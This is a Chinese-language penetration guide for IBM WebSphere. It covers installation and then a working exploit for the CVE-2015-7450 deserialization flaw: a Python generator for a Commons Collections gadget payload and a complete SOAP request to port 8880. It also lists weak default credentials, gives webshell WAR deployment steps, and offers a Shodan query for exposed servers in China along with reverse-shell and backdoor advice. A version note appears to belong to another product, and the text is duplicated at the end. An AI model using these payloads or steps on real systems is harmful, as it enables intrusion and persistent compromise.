WebSphere中间件总结
字数 2148 2025-08-07 08:22:09

WebSphere中间件安全渗透指南

一、WebSphere简介

WebSphere是IBM的应用程序和集成软件平台,为SOA(面向服务架构)环境提供软件,实现动态互联的业务流程。它包含所有必要的中间件基础架构(服务器、服务和工具),用于创建、部署、运行和持续监视企业级Web应用程序和跨平台解决方案。

版本信息

  • WAS6、WAS7与WAS8差异较大
  • 官方说明:版本1.7.4.7及更早版本已被1.8.x和1.9.x取代
  • 所有1.8之前版本的用户应升级到1.8.x或1.9.x版本

指纹识别

Server: WebSphere Application Server/7.0
登录页面:
http://127.0.0.1:9060/ibm/console/logon.jsp
https://127.0.0.1:9043/ibm/console/logon.jsp

二、WebSphere安装指南

Windows环境安装

1. 下载WebSphere

  • 下载地址:
    • http://www-01.ibm.com/support/docview.wss?uid=swg27004980
    • https://www-01.ibm.com/support/docview.wss?uid=swg27025142
  • 需要注册IBM账号
  • 需要JDK8支持
  • 可能需要代理(V2等)才能下载

2. 安装步骤

  1. 解压下载的文件
  2. 双击install.exe安装
  3. 安装时需保持联网状态

3. 安装WAS(WebSphere Application Server)

  1. 官网搜索"Websphere Application Server for Developers"并下载
  2. 解压三个压缩文件到同一目录
  3. 运行IBM Installation Manager
  4. 添加存储库(选择解压目录下的.config文件)
  5. 选择安装软件包,默认选项完成安装

4. 添加Server

  1. 选择创建应用程序服务器
  2. 选择高级概要文件创建
  3. 注意主机名配置为本机计算机名(生产环境配置服务器IP)
  4. 设置管理员凭据(默认admin/123456)
  5. 记录默认端口信息
  6. 完成创建

5. 启动WAS

  1. 管理员模式运行cmd
  2. 进入概要文件bin目录:cd C:\Program Files (x86)\IBM\WebSphere\AppServer\bin
  3. 启动命令:startServer server1 -profileName AppSrv01
  4. 停止命令:stopServer [服务名]
  5. 访问管理控制台:http://127.0.0.1:9060/ibm/console

Docker环境安装(WebSphere7)

  1. 搜索镜像:docker search WebSphere7
  2. 拉取镜像:docker pull iscrosales/websphere7 (约需10G空间)
  3. 运行容器:
    docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
    

三、WebSphere渗透测试

1. Java反序列化漏洞(CVE-2015-7450)

漏洞描述

由于使用Java InvokerTransformer类对数据进行反序列化,Apache Commons Collections可能允许远程攻击者在系统上执行任意代码。通过发送特制数据,攻击者可利用此漏洞执行任意Java代码。

受影响版本

  • WebSphere Application Server 8.5和8.5.5(传统和自由)
  • 8.0版本
  • 7.0版本

漏洞验证

  • 漏洞位于SOAP通信端口8880
  • 访问8880端口出现XML界面则可能存在漏洞
  • 8.5版本和7.0版本界面略有不同

利用步骤

  1. 生成payload(Python3环境):
import base64
from binascii import unhexlify

command = "touch /tmp/yxc007"
serObj = unhexlify("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")
serObj += (chr(len(command)) + command).encode('ascii')
serObj += unhexlify("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A")
serObjB64 = base64.b64encode(serObj).decode()
print(serObjB64)
  1. 构造SOAP请求包:
POST / HTTP/1.1
Host: 127.0.0.1:8880
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml
SOAPAction: urn:AdminService
Content-Length: 8886

<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header ns0:JMXConnectorContext="..." xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.7" ns0:JMXMessageVersion="1.2.0" ns0:JMXVersion="1.2.0"></SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:invoke xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA==</objectname>
<operationname xsi:type="xsd:string">getUnsavedChanges</operationname>
<params xsi:type="ns1:[Ljava.lang.Object;">{生成的base64 payload}</params>
<signature xsi:type="ns1:[Ljava.lang.String;">rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=</signature>
</ns1:invoke>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
  1. 发送请求后检查执行结果:
docker exec -ti [容器ID] bash
ls /tmp
  1. 使用现成脚本:
python websphere_rce.py 127.0.0.1:8880 'touch /tmp/success' --proto http

2. 弱口令与后台Getshell

弱口令情况

  • 在6.x至7.0版本中,后台登录可能只需输入"admin"作为用户标识,无需密码
  • 常见弱口令组合:
    • websphere/websphere
    • system/manager
    • admin/空密码

后台Getshell步骤

  1. 登录管理控制台(通常为9060或9043端口)
  2. 导航到"Applications" > "New Application" > "New Enterprise Application"
  3. 上传包含webshell的WAR包
  4. 设置应用程序名称,保持默认选项直到完成
  5. 保存到主配置
  6. 启动应用程序:Application Types > WebSphere enterprise applications > 选择部署的WAR > Start

四、实战经验

1. 目标识别

  • Shodan搜索语法:
    "WebSphere" && port="8880" && country="CN"
    
  • 常见管理端口:
    • 9060/ibm/console/logon.jsp
    • 9043/ibm/console/logon.jsp

2. 攻击路径

  1. 反序列化漏洞利用:通过8880端口直接获取shell,建议使用反弹shell
  2. 后台弱口令:实战中常见弱口令情况,可尝试爆破
  3. 后门部署:通过上传WAR包获取持久化访问

3. 注意事项

  • 反序列化漏洞利用返回500错误可能是利用成功的标志
  • 后台弱口令在实战中非常常见
  • 部署WAR包后需要等待一段时间才能生效
  • 生产环境中可能存在更严格的访问控制

五、防御建议

  1. 及时升级到最新版本
  2. 修改默认凭据,使用强密码策略
  3. 限制管理控制台的访问IP
  4. 定期审计系统配置和应用程序
  5. 监控8880端口的异常请求
  6. 实施网络分段,限制WebSphere服务器的网络暴露面
WebSphere中间件安全渗透指南 一、WebSphere简介 WebSphere是IBM的应用程序和集成软件平台,为SOA(面向服务架构)环境提供软件,实现动态互联的业务流程。它包含所有必要的中间件基础架构(服务器、服务和工具),用于创建、部署、运行和持续监视企业级Web应用程序和跨平台解决方案。 版本信息 WAS6、WAS7与WAS8差异较大 官方说明:版本1.7.4.7及更早版本已被1.8.x和1.9.x取代 所有1.8之前版本的用户应升级到1.8.x或1.9.x版本 指纹识别 二、WebSphere安装指南 Windows环境安装 1. 下载WebSphere 下载地址: http://www-01.ibm.com/support/docview.wss?uid=swg27004980 https://www-01.ibm.com/support/docview.wss?uid=swg27025142 需要注册IBM账号 需要JDK8支持 可能需要代理(V2等)才能下载 2. 安装步骤 解压下载的文件 双击install.exe安装 安装时需保持联网状态 3. 安装WAS(WebSphere Application Server) 官网搜索"Websphere Application Server for Developers"并下载 解压三个压缩文件到同一目录 运行IBM Installation Manager 添加存储库(选择解压目录下的.config文件) 选择安装软件包,默认选项完成安装 4. 添加Server 选择创建应用程序服务器 选择高级概要文件创建 注意主机名配置为本机计算机名(生产环境配置服务器IP) 设置管理员凭据(默认admin/123456) 记录默认端口信息 完成创建 5. 启动WAS 管理员模式运行cmd 进入概要文件bin目录: cd C:\Program Files (x86)\IBM\WebSphere\AppServer\bin 启动命令: startServer server1 -profileName AppSrv01 停止命令: stopServer [服务名] 访问管理控制台: http://127.0.0.1:9060/ibm/console Docker环境安装(WebSphere7) 搜索镜像: docker search WebSphere7 拉取镜像: docker pull iscrosales/websphere7 (约需10G空间) 运行容器: 三、WebSphere渗透测试 1. Java反序列化漏洞(CVE-2015-7450) 漏洞描述 由于使用Java InvokerTransformer类对数据进行反序列化,Apache Commons Collections可能允许远程攻击者在系统上执行任意代码。通过发送特制数据,攻击者可利用此漏洞执行任意Java代码。 受影响版本 WebSphere Application Server 8.5和8.5.5(传统和自由) 8.0版本 7.0版本 漏洞验证 漏洞位于SOAP通信端口8880 访问8880端口出现XML界面则可能存在漏洞 8.5版本和7.0版本界面略有不同 利用步骤 生成payload(Python3环境): 构造SOAP请求包: 发送请求后检查执行结果: 使用现成脚本: 2. 弱口令与后台Getshell 弱口令情况 在6.x至7.0版本中,后台登录可能只需输入"admin"作为用户标识,无需密码 常见弱口令组合: websphere/websphere system/manager admin/空密码 后台Getshell步骤 登录管理控制台(通常为9060或9043端口) 导航到"Applications" > "New Application" > "New Enterprise Application" 上传包含webshell的WAR包 设置应用程序名称,保持默认选项直到完成 保存到主配置 启动应用程序:Application Types > WebSphere enterprise applications > 选择部署的WAR > Start 四、实战经验 1. 目标识别 Shodan搜索语法: 常见管理端口: 9060/ibm/console/logon.jsp 9043/ibm/console/logon.jsp 2. 攻击路径 反序列化漏洞利用 :通过8880端口直接获取shell,建议使用反弹shell 后台弱口令 :实战中常见弱口令情况,可尝试爆破 后门部署 :通过上传WAR包获取持久化访问 3. 注意事项 反序列化漏洞利用返回500错误可能是利用成功的标志 后台弱口令在实战中非常常见 部署WAR包后需要等待一段时间才能生效 生产环境中可能存在更严格的访问控制 五、防御建议 及时升级到最新版本 修改默认凭据,使用强密码策略 限制管理控制台的访问IP 定期审计系统配置和应用程序 监控8880端口的异常请求 实施网络分段,限制WebSphere服务器的网络暴露面